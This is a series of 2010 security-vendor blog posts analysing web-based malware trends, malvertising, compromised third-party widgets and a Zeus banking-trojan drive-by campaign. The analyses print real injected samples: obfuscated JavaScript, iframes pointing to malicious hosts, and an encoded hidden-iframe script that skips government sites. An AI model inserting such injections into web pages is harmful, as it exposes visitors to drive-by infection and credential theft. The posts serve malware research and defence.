Wednesday, September 22, 2010
Third party application infects a Quantcast 100 site
The publisher site used a script tag to source in an external Javascript snippet. Normally, this third party script adds image tags to the publisher page. They use an ad server application to manage such images. The application keeps these image tags in the “zones” table in its database.
In this incident, the attackers successfully injected malicious javascript tags into the zones table by exploiting a vulnerability found in the ad server versions before 2.8.7. When the users visited the publisher site, they received the image tags as well as the malicious javascript tags which silently downloaded a Java virtual machine exploit (CVE-2009-3867, CVE-2010-0886) to install two drive-by-downloads on the user’s computer.
More information about the attack can be found at these links:
http://blog.openx.org/09/security-update-how-to-secure-your-openx-installation/
http://blog.sucuri.net/2010/09/openx-users-time-to-upgrade.html
As we reported in the Q2 malware update, 75% of web sites uses external, third-party JavaScript widgets, 42% of web sites use third-party ad-related resources and 91% of web sites use third-party applications, and/or out-of-date software. In this attack, the third party application was compromised that led to the infection of the publisher site. In other words, a structural vulnerability on the publisher site was exploited. Traditional signature-based approaches, which have very low (or zero) detection of these drive-by-downloads, fail to prevent thousands of users from getting infected. Therefore we keep on emphasizing how important it is to use behavioral approaches, and to monitor ads as well as all kinds of third party content (including widgets) on websites.
Tuesday, September 14, 2010
Continued growth in web-based malware attacks -- over 1M web sites infected in Q2 2010
Over 1M Web Sites Infected
In Q2 2010, we estimate that 1.3 million web sites were infected, based on data from our telemetry systems. Q2 was the first quarter in history for which we believe that over one million web sites were infected in a three month time period. As we have now been tracking web-based malware statistics for four quarters, we have plotted the estimated number of infected web sites over that time period below. While there was a slight dip in Q4 ‘09 (looks like some cybercriminals took part of the holiday season off just like the rest of us), the growth over the past couple quarters has been significant -- growth by a factor of two over the past year. We should note that while the measured growth below is mostly due to increased activity on the part of cybercriminals, a part of it is due to improvements to the methodology and number of sites monitored by our telemetry.
In addition to trends that we gathered on web-based malware in general, we also studied trends in the more specific area of malvertising. Over all of Q2, based on the part of our telemetry that monitors dozens of ad networks, we estimate that over 1.6 million malvertisements are served on an average day, which represents an approximate increase of just over 20% from an estimate that we produced in mid-Q2. In addition, the average lifetime of a malvertising campaign was 11.5 days, an increase of over 50% from a measurement that we did in mid Q2. Kicking off malvertising campaigns on weekends gives cybercriminals a couple extra days of lifetime as IT teams often don’t get to look in depth into attacks over the weekends (unless they have automated solutions in place such as Dasient’s anti-malvertising service), and the intermittent nature with which malvertising creatives are served makes them harder to track and lock down contributing to the lifetime of the malvertising campaigns.
We observed that malvertising attacks have a high propensity for being launched closer to weekends, as per the graph below. Fridays and Saturdays were the most common days for the launch of malvertising attacks. Thursdays came in next, with Sunday following. Cybercriminals know that corporate IT teams are slower to respond due to weekend attacks, so they launch their attacks on and near the weekends to maximize the impact of their attack. Big money can be made via Fake Anti-Virus operations -- see the eWeek article at http://www.eweek.com/c/a/Security/3-Indicted-in-100-Million-Rogue-AntiVirus-Operation-696172/ for an example where over $100M was minted by the cybercriminals -- so every minute that the attack is live is critical.
Underlying Issue: Structural Vulnerabilities
The structural vulnerabilities research report that we issued this past July just prior to the BlackHat 2010 security conference highlighted the multitude of attack vectors that cybercriminals have at their disposal, and it appears that they are taking advantage of them. Structural vulnerabilities are ones in which a web site relies on third-party resources as part of the composition of the site, and when third-party resources get targeted or compromised, so do all the web sites that use those resources. Our key focus in this malware update is reviewing Q2 malware statistics, but we briefly review some of our findings from our structural vulnerabilites report that underlie the acceleration of the spread of web-based malware, while providing some new concrete examples:
* 75% of web sites uses external, third-party JavaScript widgets. Traffic and audience measurement widgets, for instance, are popular choices as targets. Forty-three percent of the top Alexa 100,000 web sites use widgets such as Google Analytics and JQuery (as per Stanford University research presented at this past July’s BlackHat security conference in Las Vegas). While we have thus far not yet seen a mass compromise due to widgets, such an attack, say via DNS cache poisoning against a popular ISP is not simply a theoretical possibility (see http://www.digitalsanctuary.com/tech-blog/security/att-dns-cache-poisoning.html). Every web site that uses these widgets can become a malware distribution vehicle, with users getting infected simply when they load web sites from such pages, when these attacks occur. Note also that in cases where DNS cache poisoning is used, the widget provider does not need to be compromised – only the ISPs do.
* 42% of web sites use third-party ad-related resources. Financial web sites are just as likely as the average web site to use ad-related resources, often to manage their own in-house ads and/or show third-party ads on auxiliary sites that they run in which users can give each other financial advice or on other user-generated-content offerings they make available. Publisher sites are twice as likely to show third-party ads than the average web site, and there has been an uptick in malvertising attacks this year.
* 91% of web sites use third-party applications, and/or out-of-date software. It has been known for some time that keeping client-side software patched has been a challenge, but keeping software on servers patched is just as hard or even harder. Upgrading server-side software, whether it be the version of the web server, the application server, language modules such as (PHP, ASP.NET, etc), or web applications can require porting of data and code and is often a non-trivial exercise and doesn’t get done in a very timely fashion. As cybercriminals can just easily lookup all the known security vulnerabilities for such server-side software and use available exploit kits, web sites using old or out-of-date server-side software can be turned into distribution vehicles for malware by exploiting known vulnerabiliites.
Infection Library Growth
During Q2, Dasient’s automated systems added over 58,000 unique entries to its infection library. Unlike the infection libraries of traditional anti-virus companies, Dasient’s infection library catalogs web-based code snippets that cybercriminals inject and use to compromise web sites and ad networks. In Q2, over 43,000 JavaScripts and over 15,000 IFRAMEs were added to Dasient’s infection library. As a percentage of the total number of new entires, JavaScript samples have increased by 19%, and JavaScript samples now make up 74% of the entries for the quarter (as compared to 55% three quarters ago).
| Q2 2010 | Increase/Decrease (as a percentage of total) | ||
| JavaScript injections | 74% | + 19% | |
| IFRAME Injections | 26% | - 11% |
Why use JavaScripts instead of IFRAMEs? JavaScripts have some advantages from the standpoint of an attacker. Most significantly, JavaScripts have access to the DOM elements in the rest of the page, thereby giving attackers more information and more capability to “muck” with the page. For example, an injected JavaScript has access to the page referrer, the URL address bar, the user’s cookie, and has the ability to write new, potentially malicious content into the web page. Scripts sourced in via IFRAMEs, by comparison, do not have the capability to access or communicate with the rest of the page.
Top Attacker Domains and Top-Level-Domains (TLDs)
As a part of our look into our growing infection library, we studied the most frequently occuring attacker domains used in SRC fields in malicious JavaScripts and IFRAMEs, as shown in the graphs below. Attackers seem to use more .com domains in aggregate as they want their domain name to seem as “legitimate” as possible and Chinese domain names tend to arouse suspicion. While the cybercriminal community seems to be using more .com domains in aggregate, specific .cn domains (such as the ones listed in the chart below) are more frequently used than their .com counterparts. We see that some of the domain names end in .com.cn (as in ustocn. com. cn), which have been accounted for as .cn domains in our study but seek to look more legitimate, as domains that have a .com followed by a country code are used by may legitimate organizations in many countries.
We also looked at just the top-level-domains (TLDs) that attackers used. From the chart below compared to similar statistics from Q1 2010, we see that the attackers are using significantly more .info domains that in the previous quarter. In Q1, .info domains took a backseat to .net, .org, and .ru domains, but has jumped ahead of all those TLDs in Q2.
Attacker Domain TLDs for Q2 2010
For Q1 2010
Drive-By Naming and Locations
When attackers send drive-by-downloads, they seem to like to choose one letter file names and innocent looking names like updates.exe and file.exe. Sometimes the file name starts with MS to imitate Microsoft processes. There are also a class of attacks that choose a random file name with fixed number of characters.
Temp and application data folders are the favorite choice of folders in which to store malicious executables. However, executables are sometimes copied to system directory after their initial storage, and run from there.
Overall, three out of four drive-by-downloads have one letter filenames and are written to the User’s Application Data directory.
Summary / Conclusion:
To summarize, some of the most interesting statistics from our Q2 malware update are:
* We estimate that 1.3 million web sites were infected in Q2 2010 (almost a 2x jump as compared to Q1)
* We estimate that for Q2, on average 1.6 million malvertisements were served on a daily basis.
* Our infection library grew by 58K entries, with relatively more JavaScript injections as compared to IFRAMEs in previous quarters
* Attackers use .com and .cn domains most frequently to host malicious code. There has been a rise in .info domains being infected and used to host malicious code.
* Three out of four drive-by-downloads have one letter filenames and are written to the User’s Application Data directory. The most common name for a drive-by-download was f.exe.
Hackers are going to continue to become more sophisticated. The malware epidemic is not slowing down - on the contrary, it’s exploding. Now is the time for businesses to educate themselves on how they can put safe security practices in place for their websites to protect their customers, their brand and their revenue. The first step is to make sure they are not exposed by monitoring their websites for malware regularly.
If you're a business owner and you'd like to learn more about how Dasient WAM can help protect your websites, head here. If you're a web hosting provider and you'd like to learn about partnership opportunities with Dasient, check out this page. And no matter who you are, please be sure to check out our Twitter feed for all the latest in web-based malware and general security news.
Keep your sites safe!
Your Dasient Team
Wednesday, September 8, 2010
TechCrunch Reinfected with Malware
ComputerWorld notes that at the core of the infection was a malicious iFrame in a JavaScript file that was used by the site as part of its WordPress blogging software installation. Once downloaded and run, the PDF files exploited a vulnerability and made the system download a version of the wide-spread Zeus Trojan.
According to a researcher at Trend Micro, only 2 out of 43 anti-virus engines would detect the malware that infected TechCrunch. At Dasient, we believe it is important to use behavioral analysis, and not rely on anti-virus engines or signature-based approaches, to detect web-based malware. At the heart of Dasient’s services is a behavioral scanning engine that analyzes the behavior of a web page or ad creative to detect whether malware is being served to users. Our behavioral scanning engine detects “zero-day” malware infections on websites and advertisements when the traditional signature-based anti-virus approaches fail.
Like other popular web destinations, TechCrunch has become an attractive target for the cybercriminals who wish to infect the site’s users with viruses. TechCrunch was also hacked in March of this year, when the site was serving malicious ads. In this case, rather than being a victim of “malvertising,” the site was compromised by what appears to be an exploit of its WordPress software. Earlier this year, there was a mass attack where attackers exploited a vulnerability in WordPress to infect thousands of websites with malware. Unfortunately, there are a number of ways that websites can be attacked, ranging from malicious ads delivered by their ad network, to compromised third-party software, to widgets that have been hacked and infected with malware. When this occurs, the attacked websites suffer losses of customers, traffic, and ultimately brand and revenue. It is therefore critically important for publishers and other websites to regularly scan both their ads and their content for malware using behavioral detection technology, such as Dasient’s Web Anti-Malware and Anti-Malvertising services.
Tuesday, August 17, 2010
Something to consider: How much traffic do malware-ridden "parked domains" really get?
Over the past few days, there have been widespread reports that parked domains hosted by Network Solutions have been serving up malware, probably for several months. We are definitely glad to see that there is a growing awareness of the threat of web-based malware due to widgets, but one question that seems to be unanswered here is: “what is the true impact of this threat, when compared to say popular widgets or infected web applications?”
In our research at Dasient, we have seen that when popular traffic or audience measurement widgets get infected, for instance, thousands of top-ranked sites can be turned into malware distribution vehicles, and infect hundreds of thousands or millions of users. This begs the question: how much traffic would 500k ‘parked domains’ really get, and how many users are truly infected?
According to Richard Kershaw’s search and affiliate marketing blog, parked domains do not receive much traffic at all. In a July 2009 study Richard wrote:
“1,822,377 domains are parked with Sedo, says DomainTools.com as of 8 July 2009… Sedo’s most recent stats show a mere 25 domains get traffic in double digit per day. By the time we hit domain number 26 in their rankings, we’re in single digits... So 0.001% of domains parked with Sedo get double digit per day traffic. Or to put it another way, 99.999% of domains parked with Sedo don’t hit double digits daily.”
The overwhelming majority of parked domains do not get any traffic on a daily basis, which means that only a limited number of Internet users were impacted by the malware being served at Network Solutions. (Certainly, that may be why the problem was not even noticed for a few months.) In addition, according to Brian Krebs in his latest blog post on the matter, “One potentially limiting factor in this attack was that it seemed to target Chinese Web surfers,” which would further reduce the impact of this attack on end users.
To further underscore the issue here, one should contrast this with the information Dasient published regarding a widget attack against a major traffic and audience measurement provider in May, in which some very large Quantcast 100 sites were impacted, in addition to thousands of other legitimate websites that have significant user base.
Another more impactful example of web-based malware propagation is Gumblar which was a more significant attack as it hijacked many diverse sites (over 80,000 confirmed and distinct sites), and was much more persistent due to its architecture in which it would compromise diverse web sites via stolen FTP credentials, infect clients to steal more FTP credentials, and, in turn, compromise more diverse web sites. In fact, even after six months after the initial outbreak of Gumblar in May 2009, it continued to infect web servers, and there was no "easy" mitigation (like commenting the widget out of a single parked domain template). Also, our research at Dasient concludes that malvertising impacts many more users on a daily basis (1.3 million page views, by our estimates).
So while it’s good that malware found in third-party widgets is being identified and discussed in the community, it is important to look at such attacks in perspective and focus the discussions on the threats that actually have a real impact on businesses and users. Malware injected onto parked domains is unlikely to have the scale and reach of attacks against legitimate websites, such as the Gumblar attack or attacks against widgets used by legitimate websites.
At Dasient, we have been publishing information about the threat of web-based malware and its impact on businesses and users since 2009. We look forward to continuing to share the latest information from our research over the coming weeks and months.
Wednesday, June 23, 2010
More Zeus via drive-by, now improved with targeted phishing against banks
Date first added to infection library: June 8, 2010
Infection library link: http://wam.dasient.com/wam/infection_library/cdc7f46229a8abfcad40538bfe08f1bd
The Zeus botnet has been spreading via drive-by-download since late last year (e.g. http://www.scmagazineus.com/zeus-spreading-through-drive-by-download/article/158691/), but as they say in the security community -- attacks only get better. In such previous cases, the goal of the drive-by-download was singular: have the infected client machine join the Zeus botnet and await further instructions. Dasient's researchers (using data from Dasient's telemetry systems) not only see Zeus malware continue to be distributed via drive-by-download, but such malware also has a second purpose: to distribute targeted phishing kits against the financial sector, including banks such as Citibank and HSBC. After joining the Zeus botnet, an infected machine will start keystroke logging to phish user credentials for banking web sites when the user casually visits bank home pages. In the following, we describe the technical details.
The combined Zeus/phishing kit malware drive-by-download is distributed via the malicious domain gate4ads.info (although other domains have been used as well). The gate4ads.info domain serves a malicious iframe that appears as follows on infected web pages:
<body><script language='javascript' type='text/javascript'>
var oVoid='oVoid'.substring(42997, 42997);
var yWord;
function jArcG(jArcG){return 'jArcG'};
yWord='%6b%60%68%69...
This script appears differently on each infected domain. Here's another example of the script:
<body class="dc-home"><script language='javascript' type='text/javascript'>
this.wordOn=53159;
var cEnvCont;
var pakCon='pakCon'.substring(3674, 3674);
cEnvCont='%bd%bd%bd%bb...
Even though the malicious script is polymorphic, its behavior doesn't change. It creates the following malicious iframe:
<iframe frameborder=0 src='http://gate4ads.info/t/'>
This iframe in turn creates another iframe:
<iframe src='http://itspitsp.com/elleO_o_/index.php?s=[random chars]&[random chars]' width=[random num] height=[random num] frameborder='0'>
The Malware Behavior
The binary that comes down to the user's machine is called updates.exe, and is placed in the temp folder on the user's machine:
http://www.virustotal.com/analisis/af6288cab4f0b0351ffc01a8a8386d476f423f590be47cc85c54850cc6dbf642-1276130170
The binary replaces C:\WINDOWS\system32\sdra64.exe with the new file "updates.exe" and creates a registry entry to enable it to start automatically on reboot. Creating such a registry entry is a common technique that attackers use to make sure their malware always runs even when the user reboots their machine.
This executable attempts to get the PC to join the Zeus botnet.
http://anubis.iseclab.org/?action=result&task_id=176041d5651e7ef84299f5ddb50a8b1f1&format=html
It gets the configuration file from this url:
itspitsp.com/zeusO_o_/conf13.bin
This configuration file is in encrypted format. The virus decrypts it with the key hidden in its body. The decrypted configuration file tells the virus which bank sites to monitor. When the user visits one of the following urls, the virus will intercept the traffic and present a fake webpage to steal user credentials such as account number, user id and password, transaction numbers etc. The stolen information is logged and delivered to a drop site at a later point in time.
The list of banks that are being targeted:
1. http://internetbanking.gad.de/banking/
2. http://hsbc.co.uk
3. http://www.mybank.alliance-leicester.co.uk
4. http://www.citibank.de
Source of Attack
gate4ads. info is registered in Netherlands.
Domain ID:D33147654-LRMS
Domain Name:GATE4ADS.INFO
Created On:01-Jun-2010 04:39:28 UTC
Last Updated On:01-Jun-2010 18:45:48 UTC
Expiration Date:01-Jun-2011 04:39:28 UTC
Sponsoring Registrar:Directi Internet Solutions Pvt. Ltd. dba PublicDomainRegistry.com
(R159-LRMS)
Status:CLIENT TRANSFER PROHIBITED
Status:TRANSFER PROHIBITED
Registrant ID:PP-SP-001
Registrant Name:Domain Admin
Registrant Organization:PrivacyProtect.org
Registrant Street1:P.O. Box 97
Registrant Street2:Note - All Postal Mails Rejected, visit Privacyprotect.org
Registrant Street3:
Registrant City:Moergestel
Registrant State/Province:
Registrant Postal Code:5066 ZH
Registrant Country:NL
Registrant Phone:+45.36946676
Registrant Phone Ext.:
Registrant FAX:
Registrant FAX Ext.:
Registrant Email:
The domain itspitsp.com resolves to a server hosted in China:
Domain name: itspitsp.com
Status: Active
Protection Status: public
( make contact info private at http://www.now.cn/domain/domainPrivate.php )
Registrant:
Name: itspitsp.com
Address: Volodarskiy
City: undefined
Province/state: IZJEVSK
Country: CN
Postal Code: 519000
Administrative Contact:
Name: itspitsp.com
Organization: itspitsp.com
Address: Volodarskiy
City: undefined
Province/state: IZJEVSK
Country: CN
Postal Code: 519000
Phone: +84.7562425583
Fax: +84.5762425583
Email:
Summary
The gate4ads .info attack is novel in that it propagates a virus with dual purposes: (1) adding end user PCs to the Zeus botnet, and (2) distributing targeted phishing and keystroke logging attacks against the financial sector. Also noteworthy is that the malware infection planted on websites is polymorphic in nature-- the javascript "attack string" injected onto each compromised legitimate website is different than the others. Thus, a signature-based approach for identifying the malware infection on websites would not succeed. Dasient's malware analysis engine, which primarily uses behavioral-based technology, identifies such malware infections every time.
According to Google, the gate4ads .info site was involved in infecting 642 other sites. (http://google.com/safebrowsing/diagnostic?site=gate4ads.info&hl=en). All of these sites, were they leveraging Dasient's Web Anti-Malware (WAM) monitoring and remediation services, would have been able to identify and contain this malware attack prior to getting blacklisted by Google. More importantly, the sites would have been able to protect their users from being infected with the virus that would add their PC to the Zeus botnet and keystroke log their banking passwords.
Financial institutions are specifically at risk from the gate4ads .info attack. If this attack was able to successfully penetrate the website of one of the banks being targeted with the keystroke logging, then all of that bank's users would be at risk for having their credentials stolen. Clearly, this would be a major security breach for the bank, and would allow the attackers to compromise large numbers of user accounts. Also as important, if it was discovered that a bank's website was compromised and was serving malware, this would result in major brand and reputation losses for the bank.
Dasient provides specific services for banks and financial institutions to secure them from web-based malware attacks. For more details, visit http://wam.dasient.com/wam/products_overview.
Friday, June 4, 2010
Third-party JavaScript widget discovered to be infected with malware
Many websites use third-party JavaScript widgets for counting traffic, tracking users, sharing content, displaying video, enabling polls, and providing other user functionality. The use of third-party widgets has enabled rich user functionality and analytics. However, as noted by Jeremiah Grossman in his blog post "Web 2.0 pivot attacks", in a security context, websites that use third-party widgets "essentially allow arbitrary executable code, supplied by a third party, complete access to the web page DOM and the user’s session information." This could, of course, be used to infect the website’s users with malware. Tom Stripling also discusses the dangers of third-party JavaScript widgets, as well as user contributed content.
In a research paper published by Google titled “The Ghost in the Browser,” researchers claimed that third-party widgets were one of the primary vectors of attack for a website to get infected with malware.
Just this past weekend, the Dasient security research team identified a third-party JavaScript widget that was responsible for infecting web users at a large Quantcast 100 website. The third-party widget in question was from a reputable market research and analytics firm, and the widget was used for traffic analysis and audience demographics. (Our team has been in contact with the Quantcast 100 website, and is also reaching out to the widget provider in order to help resolve this problem.)
This third-party JavaScript code was included among a number of other tracking tags present on several thousand URLs of the Quantcast 100 website. The JavaScript code (after being anonymized) is as follows:
// xxxxxx tagging
XXXX.require('//secure-us.xxxxxxxxxxxx.com/xxx.js', function () {
var trac = nol_t({
cid: 'xx-xxxxxxx',
content: '0',
server: 'secure-us'
});
trac.record().post();
});
In turn, http://secure-us.xxxxxxxxxxxx.com/xxx.js served the following complicated JavaScript code:
function NolTracker(b,a){this.pvar=b;this.mergeFeatures(a)}function nol_t(b,a){return new NolTracker(b,a)}NolTracker.prototype.version="6.0.9";NolTracker.prototype.scriptName=(function(){try{var b=document.getElementsByTagName("script");var c=b[b.length-1].getAttribute("src").match(/[^\/]*$/)}catch(a){}return c||"xxx.js"})...
At the end of the complex JavaScript was a malicious iframe sourcing in content from:
http://94. 75. 210. 6/measure/
What is notable about the attack above is that the JavaScript code is so complex, it would be difficult for even a technical person to parse the code quickly and identify the malicious iframe at the end. Furthermore, the attackers have used the pathname "measure" on the malicious domain in an effort to further obfuscate their attack. As a result, a technical person who was investigating the cause of the malware might not pay attention to the iframe; he or she could easily assume that this was part of the legitimate JavaScript code that was measuring user traffic on the website.
The attackers compromised this third-party analytics provider's JavaScript code and embedded the malicious iframe. A quick search on Google for the JavaScript code showed over 19,000 results of websites which contained this provider's analytics code. Thus, the attackers were able to stripe their web-based malware over thousands and thousands of legitimate websites (including multiple Quantcast 100 websites) by infecting the third-party analytics provider's JavaScript code with the malicious iframe.
There is a significant implication for web businesses. The "widgetization" of the web will continue to create opportunities such as the one detailed in this post for attackers to infect legitimate websites with malware. Any third-party code included in a legitimate website can be compromised and exploited to serve malware. In fact, the attackers have an incentive to infect these JavaScript widgets as a way to achieve scale and get "back door access" to popular websites. The concern for web businesses is that, despite all of the security operations and software development practices that they may have in place, there are dependencies on third-parties for rendering functionality on web pages on their site. And a particular web business has no control over the security practices of the third-party partner, which can get compromised, as was evident from the attack described above.
It is unrealistic to believe that web businesses will be able to remove all third-party software and JavaScript code from their websites. The "widgetization" of the web will only accelerate, as the trend towards distributed software development, interactivity, and combining best-of-breed software and widgets continues. Despite a web business having significant preventative security measures in place, its website is vulnerable to serving malware due to the use of third-party JavaScript widgets. Therefore, it is critical that web businesses monitor their websites (and thus their third-party JavaScript widget providers) for malware on a regular basis. An attack where a reputable partner gets compromised and infected with malware could happen any time, and it is important that the web business can respond immediately if such an attack occurs. Otherwise, the web business is at risk of serving malware to its users, which would result in users getting infected with malware; significant losses of brand, reputation, and revenue; and potential liability issues. Companies can use Dasient's Web Anti-Malware (WAM) monitoring service to defend their websites against the prospect of third-party widgets getting infected with malware.
Monday, May 10, 2010
Q1'10 web-based malware data and trends
The Q1 2010 Data
In Q1 2010, we estimate that over 720,000 web sites were infected. While this number is significantly higher than our previous estimate of 560,000 infected web sites during Q4 2009, we also improved our methodology based on new telemetry from scanning a larger number of sites on the Internet and that accounts for infected sites that were previously not included.
This number does not only include small to medium sites getting infected, but also larger, high-profile websites (including Fortune 500 companies). Larger sites are desirable targets because of their high volume of traffic. It's much more convenient for an attacker to compromise an existing site than to try and build web traffic to a site they set up from scratch.
The challenge for websites is that there are many different ways for them to get infected. For example, a site that uses a javascript widget that is hosted externally could be at risk for getting compromised with web-based malware, as discussed in a Google report. Or publishers, blogs and other content providers that use third-party ad networks are at risk of having malvertisements introduced to their users on their site. Many sites (large and small) also rely on third-parties to provide packaged software that powers applications on their website. Examples include content management systems, blogging software, web server software, etc. It is often difficult for websites to constantly keep the software running their site up-to-date and patched to the latest version. Keeping server side web applications up-to-date is just as or even more challenging than keeping client side software up-to-date and patched. Even patched applications have vulnerabilities, which emphasizes the need for malware monitoring to mitigate risk due to both known and unknown vulnerabilities in web applications. In fact, in April there was a mass attack on Wordpress where attackers exploited a vulnerability to infect thousands of websites with malware.
As part of our quarterly malware update, we performed a study of a large pool of websites where we identified the risk factors on those sites that may contribute to malware infections. The results were surprising. We found that 97% of Fortune 500 web sites are at a high risk of getting infected with malware due to external partners (such as javascript widget providers, ad networks, and/or packaged software providers). In fact, Fortune 500 web sites have such a high risk because 69% of them use external Javascript to render portions of their sites and 64% of them are running outdated web applications. (We will be publishing a more in-depth study of malware-specific vulnerabilities on websites in the future.)
On a side note: We launched a new service in Q1 called the Dasient Malware Risk Assessment which allows us to run risk profiles on our customers, giving them information on where they are most exposed to web malware. We obtained the above-mentioned results by running our Malware Risk Assessment on a significant number of industry-specific web sites. If any of you are interested in running such an assessment on your web site, please fill in the form and we'll get you started.
The average number of processes that infected web sites start on compromised machines is 3.03 (up from 2.8). Although a little higher than last quarter this is still indicative to us that attackers are getting smarter about the way they structure their attacks, opting for a smaller fingerprint on an infected machine, as historically attackers have started up to a dozen or more new processes on machines they compromise.
23.8% of new processes started due to drive-by-downloads had one character filenames such as “a.exe” or “f.exe”.
Attackers prefer to use “.com” domains to host malware. “.com” was the most popular followed by “.cn”. The domain “dnparking.com” was an attacker site used to infect a relatively large number of sites early in the quarter.
ASP, HTML, and PHP pages were the most infected in that order. The combined number of ASP and PHP pages infected shows an increase in dynamic content being infected this quarter which once again emphasizes the growing complexity in web sites and web applications.
Uptick in Anti-Malvertising attacks in Q1
One of the major trends observed is the spike in malvertising attacks since the beginning of 2010.
While content and feature-rich advertisements have been used on the web for some time, attackers are investing more in using them as a channel to distribute drive-by malware downloads.
Viruses and other malware were found to be lurking in ads on high-profile sites like The New York Times, Drudge Report.com, TechCrunch and WhitePages.com as well as by big ad delivery platforms such as Yahoo, Fox and Google.
We thought it may be useful to describe how malvertising attacks work, in general. In a typical attack, the hacker signs up to place an ad on a victim ad network (often using a stolen credit card), or compromises the credentials of an existing advertiser on an ad network. If the attacker signs up for a new account with an ad network, the attacker often places a legitimate-looking ad first, and switches it for a malicious ad once the attacker "gains trust" with the ad network. As some ad networks have stricter policies and/or vetting processes around the posting of ads for relatively new advertisers, some attackers simply compromise the login credentials of already existing, legitimate advertisers.
Given that so much of the web is monetized via advertising streams, it is a wonder that malvertising attacks aren't worse than they are, and the malvertising attacks over the past few weeks could be a harbinger of the growing threat to online advertising commerce.
Now that we have discussed high-level trends from the update, let's take a closer look at what the malware does once it is downloaded to a user's PC.
What is the Malware doing?
In many cases, the malware was trying to join a botnet. Botnets are networks of PCs, which have been taken over by malware programs. What the botnet will end up doing depends on what the botnet 'master' wants it to do but usually it will hook processes to capture keystrokes, send email spam etc. Some of the more common mechanisms to conduct drive-by-downloads included taking advantage of Adobe PDF exploits, and encouraging users to click on socially engineered fake AV windows to initiate dangerous downloads. In particular the 'Zeus' botnet has become very widely spread. Netwitness, based in Herndon, VA, released a report highlighting the kind of havoc the malware can wreak. It documents a Zeus botnet that controlled nearly 75,000 computer in more than 2,400 organizations, including some large and reputable ones such as Merck, Juniper Networks and the Hollywood Studio Paramount Pictures. Over four weeks, the botnet was used to steal more than 68,000 log-in credentials, including thousands of Facebook log-ins and Yahoo email log-ins.
Another interesting observation from our research is how attackers interact with government web sites.
Cybercriminals not interested in CyberWar (yet?)
Attackers use automated scripts to query search engines to get lists of vulnerable sites, and then have their scripts automatically infect sites. Their scripts are typically not very discriminating about which sites they attack. Government-run web sites, for instance, are also likely to be attacked by these automated scripts. For example, last month a part of the Environmental Protection Agency's (EPA) web site was infected, and in May the US Treasury had three of its web sites hacked.
It seems, though, that the attackers conducting such attacks are purely in it for the money. One might imagine that inadvertently attacking certain government web sites might provoke a serious (even military) reaction. Hence, while the attackers want to distribute their malware for fun and profit, they want to stay away from starting an all-out cyberwar. Why do we say that? In some of the attacks that we track, we have seen JavaScript code such as the following, which attackers inject:
if (document.location.href.indexOf("gov") >= 0) {
} else {
document.write("<div style="'display:none'">");
document.write(unescape('%3Ciframe%20src%3Dhttp%3A//%6B%6F%74%73%2E%39%39%36%36%2E%6F%72%67:%39%37/%78%6F/%64%6B.html%20width=100%20height=0%3E%3C/iframe%3E'));
document.write("</div>");
}Basically, the code above says that if the web site attacked is a government web site, then DO NOT serve a malware drive-by-download. Otherwise, it happily generates an invisible frame on the page that pulls in malicious content onto the page which initiates a drive-by-download. What is interesting here is that while an attacker's script may automatically inject the code above into any website, the code is careful not to serve malware to visitors, including government employees, as doing so could be interpreted as an act of cyber-war. What is also interesting that the attackers could decide to launch a cyber-war at any time.
Summary
Based on our research, it is evident that the malware epidemic is growing rapidly. With cybercrime techniques getting more sophisticated every day, it is critical to educate businesses on how they can put safe security practices in place for their websites to protect their customers and their revenues. In order to make sure that their businesses are not exposed, web sites can mitigate their risk by monitoring their websites for malware regularly.
If you're a business owner and you'd like to learn more about how Dasient WAM can help protect your websites, head here. If you're a web hosting provider and you'd like to learn about partnership opportunities with Dasient, check out this page. And no matter who you are, please be sure to check out our Twitter feed for all the latest in web-based malware and general security news.
Keep your sites safe!
Your Dasient Team